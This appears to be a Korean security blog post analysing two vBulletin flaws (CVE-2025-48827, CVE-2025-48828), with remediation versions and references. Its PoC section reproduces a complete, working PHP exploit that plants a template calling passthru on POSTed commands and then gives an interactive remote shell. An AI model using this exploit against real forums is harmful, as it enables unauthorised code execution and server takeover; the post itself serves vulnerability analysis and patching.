1. CVE-2025-48827
- PHP 8.1의 Reflection API 변화로 보호된 내부 API 메서드를 호출하여 원격 코드 실행이 가능한 인증 우회 취약점 (CVSS: 10.0)
- PHP ≤ 8.0 및 PHP ≥ 8.1 비교 [2]
> Reflection API의 동작 변화를 반영하지 않은 경우, 기존 접근 제어 우회 및 보호 메서드에 접근이 가능해짐
구분 | 설명 |
PHP ≤ 8.0 | - Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우 > 기본적으로 protected 또는 private 멤버에 접근 불가 > setAccessible(true)를 명시적으로 사용해야 protected 또는 private 멤버에 접근 가능 |
PHP ≥ 8.1 | - Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우 > setAccessible(true)를 명시적으로 사용하지 않아도 protected 또는 private 멤버에 접근 가능하도록 변경 > 코드 흐름 개선 및 개발 편의성 등으로 변경된 것으로 판단됨 |
2. CVE-2025-48828
- 조작된 탬플릿 조건문을 통해 vBulletin 템플릿 엔진의 필터링을 우회하여 임의의 PHP 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.0)
- vBulletin의 템플릿 조건문(<vb:if>)을 악용해 임의의 PHP 코드를 실행
> vBulletin의 템플릿 엔진은 <vb:if> 태그와 같은 조건문을 처리할 때, 내부적으로 eval() 함수를 사용하여 PHP 코드로 변환하고 실행
> vBulletin은 정규 표현식을 사용해 템플릿 파서에 안전하지 않은 함수의 실행을 막기위한 보안 검사를 실행
> PHP의 가변 함수 호출을 이용해 보안 검사를 우회하여 원격 코드 실행이 가능
- PHP 가변 함수 호출
> 변수를 사용해서 함수를 호출하는 것[사진 3] PHP 가변 함수 호출
3. PoC
- replaceAdTemplate() 메서드와 template 매개변수 악용 [5][6]
> replaceAdTemplate() 메서드를 인증 없이 원격에서 호출 (CVE-2025-48827 악용)
> replaceAdTemplate() 메서드의 $template 매개변수에 PHP 공격 코드 삽입
※ replaceAdTemplate()는 "ad_$location" 이름으로 템플릿을 시스템에 저장
> 악성 템플릿 "ad_$location"(PoC에서는 ad_rec)를 통해 원격 명령 실
<?php
/*
-----------------------------------------------------------------
vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability
-----------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.vbulletin.com
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Technical Writeup:
https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
*/
set_time_limit(0);
error_reporting(E_ERROR);
print "\n+---------------------------------------------------------------------+";
print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";
if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");
if ($argc != 2)
{
print "\nUsage......: php $argv[0] <URL>\n";
print "\nExample....: php $argv[0] http://localhost/vb/";
print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
die();
}
$params = [
"routestring" => "ajax/api/ad/replaceAdTemplate",
"styleid" => "1",
"location" => "rce",
"template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n");
$params = ["routestring" => "ajax/render/ad_rce"];
while (1)
{
print "\nvBulletin-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$params["cmd"] = $cmd;
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}
4. 대응방안
- 벤더사 제공 최신 업데이트 적용 [7]
취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
CVE-2025-48827 CVE-2025-48828 |
vBulletin | vBulletin 버전 5.0.0~6.0.3 | vBulletin 6.0.3 패치 레벨 1 |
vBulletin 6.0.2 패치 레벨 1 | |||
vBulletin 6.0.1 패치 레벨 1 | |||
vBulletin 5.7.5 패치 레벨 3 |
※ 두 취약점 모두 PHP 8.1 이상에서 실행될 때 영향 받음
5. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2025-48827
[2] https://wiki.php.net/rfc/make-reflection-setaccessible-no-op
[3] https://3v4l.org/IODNa
[4] https://nvd.nist.gov/vuln/detail/CVE-2025-48828
[5] https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
[6] https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
[7] https://threatprotect.qualys.com/2025/05/28/vbulletin-remote-code-execution-vulnerabilities-exploited-in-the-wild-cve-2025-48827-cve-2025-48828/?utm_source=chatgpt.com
[8] https://cyberone-mir.notion.site/vBulletin-CVE-2025-48827-CVE-2025-48828-20324d000c1080fdb3fae7cbd86e9fdb
[9] https://www.bleepingcomputer.com/news/security/hackers-are-exploiting-critical-flaw-in-vbulletin-forum-software
'취약점 > By-Pass' 카테고리의 다른 글
Ivanti Endpoint Manager Mobile 인증 우회 및 원격 코드 실행 취약점 (CVE-2025-4427, CVE-2025-4428) (1) | 2025.05.25 |
---|---|
CrushFTP 인증 우회 취약점 (CVE-2025-31161) (0) | 2025.04.26 |
Next.js 미들웨어 인증 우회 취약점 (CVE-2025-29927) (0) | 2025.03.28 |
GitLab SAML 인증 우회 취약점 (CVE-2025-25291, CVE-2025-25292) (0) | 2025.03.22 |
Fortinet 대체 경로 또는 채널을 사용한 인증 우회 취약점 (CVE-2024-55591) (1) | 2025.01.20 |